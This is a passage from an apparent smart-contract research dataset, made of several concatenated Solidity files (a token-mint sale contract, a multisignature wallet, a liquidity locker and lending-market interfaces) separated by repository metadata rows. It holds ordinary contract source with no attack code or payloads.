uint public c; // paremeter exchange rate of eth
uint public blockInterval; // number of blocks where the token price is fixed
uint public startBlockNumber; // The starting block that the token can be mint.
address public platform;
uint public lowerBoundaryETH; // Refuse incoming ETH lower than this value
uint public upperBoundaryETH; // Refuse incoming ETH higher than this value
uint public supplyPerInterval; // miningSupply / MINING_INTERVAL
uint public miningInterval;
uint public tokenMint = 0;
EIP20Interface public token;
/// @dev sets boundaries for incoming tx
/// @dev from FoMo3Dlong
modifier isWithinLimits(uint _eth) {
require(_eth >= lowerBoundaryETH, "pocket lint: not a valid currency");
require(_eth <= upperBoundaryETH, "no vitalik, no");
_;
}
/// @dev Initialize the token mint parameters
/// @dev Can only be excuted once.
constructor(address tokenAddress,
uint _miningInterval,
uint _supplyPerInterval,
uint _a,
uint _b,
uint _c,
uint _blockInterval,
uint _startBlockNumber,
address _platform,
uint _lowerBoundaryETH,
uint _upperBoundaryETH)
public {
require(_lowerBoundaryETH < _upperBoundaryETH, "Lower boundary is larger than upper boundary!");
token = EIP20Interface(tokenAddress);
a = _a;
b = _b;
c = _c;
blockInterval = _blockInterval;
startBlockNumber = _startBlockNumber;
platform = _platform;
lowerBoundaryETH = _lowerBoundaryETH;
upperBoundaryETH = _upperBoundaryETH;
miningInterval = _miningInterval;
supplyPerInterval = _supplyPerInterval;
}
function changeWithdraw(address _platform) public onlyOwner {
platform = _platform;
}
function changeRate(uint _c) public onlyOwner {
c = _c;
}
function withdraw(address _to) public onlyOwner returns (bool success) {
uint remainBalance = token.balanceOf(address(this));
return token.transfer(_to, remainBalance);
}
/// @dev Mint token based on the current token price.
/// @dev The token number is limited during each interval.
function buy() public isWithinLimits(msg.value) payable {
uint currentStage = getCurrentStage(); // from 1 to MINING_INTERVAL
require(tokenMint < currentStage.mul(supplyPerInterval), "No token avaiable");
uint currentPrice = calculatePrice(currentStage); // 18 decimal
uint amountToBuy = msg.value.mul(10**uint(decimals)).div(currentPrice);
if(tokenMint.add(amountToBuy) > currentStage.mul(supplyPerInterval)) {
amountToBuy = currentStage.mul(supplyPerInterval).sub(tokenMint);
token.transfer(msg.sender, amountToBuy);
tokenMint = tokenMint.add(amountToBuy);
uint refund = msg.value.sub(amountToBuy.mul(currentPrice).div(10**uint(decimals)));
msg.sender.transfer(refund);
platform.transfer(msg.value.sub(refund));
} else {
token.transfer(msg.sender, amountToBuy);
tokenMint = tokenMint.add(amountToBuy);
platform.transfer(msg.value);
}
}
function() public payable {
buy();
}
/// @dev Shows the remaining token of the current token mint phase
function tokenRemain() public view returns (uint) {
uint currentStage = getCurrentStage();
return currentStage * supplyPerInterval - tokenMint;
}
/// @dev Get the current token mint phase between 1 and MINING_INTERVAL
function getCurrentStage() public view returns (uint) {
require(block.number >= startBlockNumber, "Not started yet");
uint currentStage = (block.number.sub(startBlockNumber)).div(blockInterval) + 1;
if (currentStage <= miningInterval) {
return currentStage;
} else {
return miningInterval;
}
}
/// @dev Return the price of one token during the nth stage
/// @param stage Current stage from 1 to 365
/// @return Price per token
function calculatePrice(uint stage) public view returns (uint) {
return a.mul(log(stage.mul(MAGNITUDE))).div(MAGNITUDE).add(b).div(c);
}
/// @dev Return the e based logarithm of x demonstrated by Vitalik
/// @param input The actual input (>=1) times MAGNITUDE
/// @return result The actual output times MAGNITUDE
function log(uint input) internal pure returns (uint) {
uint x = input;
require(x >= MAGNITUDE, "");
if (x == MAGNITUDE) {
return 0;
}
uint result = 0;
while (x >= THREE_SECOND) {
result += LOG1DOT5;
x = x * 2 / 3;
}
x = x - MAGNITUDE;
uint y = x;
uint i = 1;
while (i < 10) {
result = result + (y / i);
i += 1;
y = y * x / MAGNITUDE;
result = result - (y / i);
i += 1;
y = y * x / MAGNITUDE;
}
return result;
}
}
| 209,758 | 13,969 |
4f00279257d711c61e3639a80fbcc5de3060912b570fd683ac8b51740cae65e6
| 13,417 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/8b/8bb7df5b9d625e2413a018ce51abe90d282bf186_MultiSigWallet.sol
| 2,739 | 12,634 |
pragma solidity ^0.5.0;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <[emailprotected]>
contract MultiSigWallet {
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
uint constant public MAX_OWNER_COUNT = 50;
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != address(0));
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != address(0));
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
external
payable
{
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor (address[] memory _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i = 0; i < _owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != address(0));
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i = 0; i < owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i = 0; i < owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes memory data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes memory data) internal returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
view
returns (bool)
{
uint count = 0;
for (uint i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes memory data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
view
returns (uint count)
{
for (uint i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
view
returns (uint count)
{
for (uint i = 0; i < transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
view
returns (address[] memory)
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
view
returns (address[] memory _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i = 0; i < count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
view
returns (uint[] memory _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i = 0; i < transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i = from; i < to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
| 88,013 | 13,970 |
78baf820fbe875270e13ac507578e97f97f6c04c53a28f2b18e3ce2b7dffaae2
| 28,778 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/9f/9f744187354a9c7a31cea1d808c2bb93d8414351_LiquidityLockerFap.sol
| 3,600 | 14,478 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract LiquidityLockerFap is Ownable{
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct Items {
IERC20 token;
address withdrawer;
uint256 amount;
uint256 unlockTimestamp;
bool withdrawn;
}
uint256 public depositsCount;
mapping (address => uint256[]) private depositsByTokenAddress;
mapping (address => uint256[]) public depositsByWithdrawer;
mapping (uint256 => Items) public lockedToken;
mapping (address => mapping(address => uint256)) public walletTokenBalance;
uint256 public lockFee = 0.1 ether;
address public marketingAddress;
event Withdraw(address withdrawer, uint256 amount);
event Lock(address token, uint256 amount, uint256 id);
constructor() {
marketingAddress = msg.sender;
}
function lockTokens(IERC20 _token, address _withdrawer, uint256 _amount, uint256 _unlockTimestamp) external returns (uint256 _id) {
require(_amount > 0, 'Token amount too low!');
require(_unlockTimestamp < 10000000000, 'Unlock timestamp is not in seconds!');
require(_unlockTimestamp > block.timestamp, 'Unlock timestamp is not in the future!');
require(_token.allowance(msg.sender, address(this)) >= _amount, 'Approve tokens first!');
//require(msg.value >= lockFee, 'Need to pay lock fee!');
uint256 beforeDeposit = _token.balanceOf(address(this));
_token.safeTransferFrom(msg.sender, address(this), _amount);
uint256 afterDeposit = _token.balanceOf(address(this));
_amount = afterDeposit.sub(beforeDeposit);
//payable(marketingAddress).transfer(msg.value);
walletTokenBalance[address(_token)][msg.sender] = walletTokenBalance[address(_token)][msg.sender].add(_amount);
_id = ++depositsCount;
lockedToken[_id].token = _token;
lockedToken[_id].withdrawer = _withdrawer;
lockedToken[_id].amount = _amount;
lockedToken[_id].unlockTimestamp = _unlockTimestamp;
lockedToken[_id].withdrawn = false;
depositsByTokenAddress[address(_token)].push(_id);
depositsByWithdrawer[_withdrawer].push(_id);
emit Lock(address(_token), _amount, _id);
return _id;
}
function extendLock(uint256 _id, uint256 _duration) external {
require(msg.sender == lockedToken[_id].withdrawer);
require(_duration < 10000000000 && _duration > 1, 'duration is invalid!');
lockedToken[_id].unlockTimestamp += _duration;
}
function withdrawTokens(uint256 _id) external {
require(block.timestamp >= lockedToken[_id].unlockTimestamp, 'Tokens are still locked!');
require(msg.sender == lockedToken[_id].withdrawer, 'You are not the withdrawer!');
require(!lockedToken[_id].withdrawn, 'Tokens are already withdrawn!');
lockedToken[_id].withdrawn = true;
walletTokenBalance[address(lockedToken[_id].token)][msg.sender] = walletTokenBalance[address(lockedToken[_id].token)][msg.sender].sub(lockedToken[_id].amount);
emit Withdraw(msg.sender, lockedToken[_id].amount);
lockedToken[_id].token.safeTransfer(msg.sender, lockedToken[_id].amount);
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
marketingAddress = _marketingAddress;
}
function setLockFee(uint256 _lockFee) external onlyOwner {
lockFee = _lockFee;
}
function getDepositsByTokenAddress(address _token) view external returns (uint256[] memory) {
return depositsByTokenAddress[_token];
}
function getDepositsByWithdrawer(address _withdrawer) view external returns (uint256[] memory) {
return depositsByWithdrawer[_withdrawer];
}
function getTokenTotalLockedBalance(address _token) view external returns (uint256) {
return IERC20(_token).balanceOf(address(this));
}
function getSelfAddress() public view returns(address) {
return address(this);
}
}
| 38,348 | 13,971 |
a984a21cb9c6f09e8a508007f3c8045e279ed2f2d31141bec467f970a539142a
| 15,097 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Finance/0x13000c4a215efe7e414bb329b2f11c39bcf92d78.sol
| 4,056 | 14,565 |
pragma solidity 0.6.12;
interface marketManagerInterface {
function setOracleProxy(address oracleProxyAddr) external returns (bool);
function setBreakerTable(address _target, bool _status) external returns (bool);
function getCircuitBreaker() external view returns (bool);
function setCircuitBreaker(bool _emergency) external returns (bool);
function getTokenHandlerInfo(uint256 handlerID) external view returns (bool, address, string memory);
function handlerRegister(uint256 handlerID, address tokenHandlerAddr) external returns (bool);
function applyInterestHandlers(address payable userAddr, uint256 callerID, bool allFlag) external returns (uint256, uint256, uint256);
function liquidationApplyInterestHandlers(address payable userAddr, uint256 callerID) external returns (uint256, uint256, uint256, uint256, uint256);
function getTokenHandlerPrice(uint256 handlerID) external view returns (uint256);
function getTokenHandlerBorrowLimit(uint256 handlerID) external view returns (uint256);
function getTokenHandlerSupport(uint256 handlerID) external view returns (bool);
function getTokenHandlersLength() external view returns (uint256);
function setTokenHandlersLength(uint256 _tokenHandlerLength) external returns (bool);
function getTokenHandlerID(uint256 index) external view returns (uint256);
function getTokenHandlerMarginCallLimit(uint256 handlerID) external view returns (uint256);
function getUserIntraHandlerAssetWithInterest(address payable userAddr, uint256 handlerID) external view returns (uint256, uint256);
function getUserTotalIntraCreditAsset(address payable userAddr) external view returns (uint256, uint256);
function getUserLimitIntraAsset(address payable userAddr) external view returns (uint256, uint256);
function getUserCollateralizableAmount(address payable userAddr, uint256 handlerID) external view returns (uint256);
function getUserExtraLiquidityAmount(address payable userAddr, uint256 handlerID) external view returns (uint256);
function partialLiquidationUser(address payable delinquentBorrower, uint256 liquidateAmount, address payable liquidator, uint256 liquidateHandlerID, uint256 rewardHandlerID) external returns (uint256, uint256, uint256);
function getMaxLiquidationReward(address payable delinquentBorrower, uint256 liquidateHandlerID, uint256 liquidateAmount, uint256 rewardHandlerID, uint256 rewardRatio) external view returns (uint256);
function partialLiquidationUserReward(address payable delinquentBorrower, uint256 rewardAmount, address payable liquidator, uint256 handlerID) external returns (uint256);
function setLiquidationManager(address liquidationManagerAddr) external returns (bool);
function rewardClaimAll(address payable userAddr) external returns (bool);
function rewardTransfer(uint256 _claimAmountSum) external returns (bool);
function updateRewardParams(address payable userAddr) external returns (bool);
function interestUpdateReward() external returns (bool);
function getGlobalRewardInfo() external view returns (uint256, uint256, uint256);
}
interface interestModelInterface {
function getInterestAmount(address handlerDataStorageAddr, address payable userAddr, bool isView) external view returns (bool, uint256, uint256, bool, uint256, uint256);
function viewInterestAmount(address handlerDataStorageAddr, address payable userAddr) external view returns (bool, uint256, uint256, bool, uint256, uint256);
function getSIRandBIR(address handlerDataStorageAddr, uint256 depositTotalAmount, uint256 borrowTotalAmount) external view returns (uint256, uint256);
}
interface marketHandlerDataStorageInterface {
function setCircuitBreaker(bool _emergency) external returns (bool);
function setNewCustomer(address payable userAddr) external returns (bool);
function getUserAccessed(address payable userAddr) external view returns (bool);
function setUserAccessed(address payable userAddr, bool _accessed) external returns (bool);
function getReservedAddr() external view returns (address payable);
function setReservedAddr(address payable reservedAddress) external returns (bool);
function getReservedAmount() external view returns (int256);
function addReservedAmount(uint256 amount) external returns (int256);
function subReservedAmount(uint256 amount) external returns (int256);
function updateSignedReservedAmount(int256 amount) external returns (int256);
function setTokenHandler(address _marketHandlerAddr, address _interestModelAddr) external returns (bool);
function setCoinHandler(address _marketHandlerAddr, address _interestModelAddr) external returns (bool);
function getDepositTotalAmount() external view returns (uint256);
function addDepositTotalAmount(uint256 amount) external returns (uint256);
function subDepositTotalAmount(uint256 amount) external returns (uint256);
function getBorrowTotalAmount() external view returns (uint256);
function addBorrowTotalAmount(uint256 amount) external returns (uint256);
function subBorrowTotalAmount(uint256 amount) external returns (uint256);
function getUserIntraDepositAmount(address payable userAddr) external view returns (uint256);
function addUserIntraDepositAmount(address payable userAddr, uint256 amount) external returns (uint256);
function subUserIntraDepositAmount(address payable userAddr, uint256 amount) external returns (uint256);
function getUserIntraBorrowAmount(address payable userAddr) external view returns (uint256);
function addUserIntraBorrowAmount(address payable userAddr, uint256 amount) external returns (uint256);
function subUserIntraBorrowAmount(address payable userAddr, uint256 amount) external returns (uint256);
function addDepositAmount(address payable userAddr, uint256 amount) external returns (bool);
function addBorrowAmount(address payable userAddr, uint256 amount) external returns (bool);
function subDepositAmount(address payable userAddr, uint256 amount) external returns (bool);
function subBorrowAmount(address payable userAddr, uint256 amount) external returns (bool);
function getUserAmount(address payable userAddr) external view returns (uint256, uint256);
function getHandlerAmount() external view returns (uint256, uint256);
function getAmount(address payable userAddr) external view returns (uint256, uint256, uint256, uint256);
function setAmount(address payable userAddr, uint256 depositTotalAmount, uint256 borrowTotalAmount, uint256 depositAmount, uint256 borrowAmount) external returns (uint256);
function setBlocks(uint256 lastUpdatedBlock, uint256 inactiveActionDelta) external returns (bool);
function getLastUpdatedBlock() external view returns (uint256);
function setLastUpdatedBlock(uint256 _lastUpdatedBlock) external returns (bool);
function getInactiveActionDelta() external view returns (uint256);
function setInactiveActionDelta(uint256 inactiveActionDelta) external returns (bool);
function syncActionEXR() external returns (bool);
function getActionEXR() external view returns (uint256, uint256);
function setActionEXR(uint256 actionDepositExRate, uint256 actionBorrowExRate) external returns (bool);
function getGlobalDepositEXR() external view returns (uint256);
function getGlobalBorrowEXR() external view returns (uint256);
function setEXR(address payable userAddr, uint256 globalDepositEXR, uint256 globalBorrowEXR) external returns (bool);
function getUserEXR(address payable userAddr) external view returns (uint256, uint256);
function setUserEXR(address payable userAddr, uint256 depositEXR, uint256 borrowEXR) external returns (bool);
function getGlobalEXR() external view returns (uint256, uint256);
function getMarketHandlerAddr() external view returns (address);
function setMarketHandlerAddr(address marketHandlerAddr) external returns (bool);
function getInterestModelAddr() external view returns (address);
function setInterestModelAddr(address interestModelAddr) external returns (bool);
function getLimit() external view returns (uint256, uint256);
function getBorrowLimit() external view returns (uint256);
function getMarginCallLimit() external view returns (uint256);
function getMinimumInterestRate() external view returns (uint256);
function getLiquiditySensitivity() external view returns (uint256);
function setBorrowLimit(uint256 _borrowLimit) external returns (bool);
function setMarginCallLimit(uint256 _marginCallLimit) external returns (bool);
function setMinimumInterestRate(uint256 _minimumInterestRate) external returns (bool);
function setLiquiditySensitivity(uint256 _liquiditySensitivity) external returns (bool);
function getLimitOfAction() external view returns (uint256);
function setLimitOfAction(uint256 limitOfAction) external returns (bool);
function getLiquidityLimit() external view returns (uint256);
function setLiquidityLimit(uint256 liquidityLimit) external returns (bool);
}
interface marketSIHandlerDataStorageInterface {
function setCircuitBreaker(bool _emergency) external returns (bool);
function updateRewardPerBlockStorage(uint256 _rewardPerBlock) external returns (bool);
function getRewardInfo(address userAddr) external view returns (uint256, uint256, uint256, uint256, uint256, uint256);
function getMarketRewardInfo() external view returns (uint256, uint256, uint256);
function setMarketRewardInfo(uint256 _rewardLane, uint256 _rewardLaneUpdateAt, uint256 _rewardPerBlock) external returns (bool);
function getUserRewardInfo(address userAddr) external view returns (uint256, uint256, uint256);
